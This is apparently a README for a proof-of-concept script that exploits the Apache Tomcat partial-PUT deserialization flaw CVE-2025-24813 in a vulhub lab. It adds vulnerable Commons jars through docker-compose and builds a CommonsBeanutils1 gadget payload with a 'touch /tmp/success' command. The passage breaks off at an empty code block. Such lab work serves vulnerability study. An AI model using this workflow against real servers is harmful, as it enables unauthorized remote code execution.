Associated Vulnerability

Title: Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT (CVE-2025-24813)
Description:Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads - attacker knowledge of the names of security sensitive files being uploaded - the security sensitive files also being uploaded via partial PUT If all of the following were true, a malicious user was able to perform remote code execution: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - application was using Tomcat's file based session persistence with the default storage location - application included a library that may be leveraged in a deserialization attack Users are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.99, which fixes the issue.

CVE-2025-24813的vulhub环境的POC脚本

因为有很多小伙伴对该漏洞的利用感觉到疑惑，所以写了这个脚本，帮助大家进行在vulhub中的漏洞利用。

详情查看：[vulhub/tomcat/CVE-2025-24813](https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2025-24813)

vulhub的环境中并没有可以直接进行利用的链(`URLDNS`不算)，所以对原有的docker-compose.yml文件进行修改，使其添加进一些具有漏洞依赖的jar包，我这里准备了三个jar包，分别是：`commons-beanutils-1.9.2.jar`、`commons-collections-3.2.1.jar`、`commons-logging-1.1.1.jar`，这三个jar包就能打大多数CC、CB链了。

考虑到该环境中的JDK8版本较高，所以这里我以没有JDK版本要求的`CommonsBeanutils1`链进行利用。

首先修改docker-compose.yml，需要把这三个jar包导入到`vulhub/tomcat/CVE-2025-24813`目录，就像这样：

![image-20250418191941597](./assets/image-20250418191941597.png)

然后修改docker-compose.yml文件如下：

```yaml
services:
 tomcat:
   build: .
   ports:
    - "8080:8080"
   volumes:
      - ./commons-beanutils-1.9.2.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-beanutils-1.9.2.jar
      - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
      - ./commons-logging-1.1.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-logging-1.1.1.jar

```

![image-20250418191825341](./assets/image-20250418191825341.png)

然后启动该环境：

![image-20250418192107397](./assets/image-20250418192107397.png)

然后使用ysoserial来生成对应的`CommonsBeanutil1`链并使用base64进行编码，或者你使用我写的一个工具叫做`ycpm`，如下：

这条链子就是执行`touch /tmp/success`这条命令。

```
java -jar ycpm-0.0.2-all.jar "CommonsBeanutils1" "touch /tmp/success" "base64->print"
```

![image-20250418192217640](./assets/image-20250418192217640.png)

然后把base64复制一下，运行该脚本即可。如下：

![image-20250418193145156](./assets/image-20250418193145156.png)

如果你只想验证漏洞效果，可以复制我的命令：

```
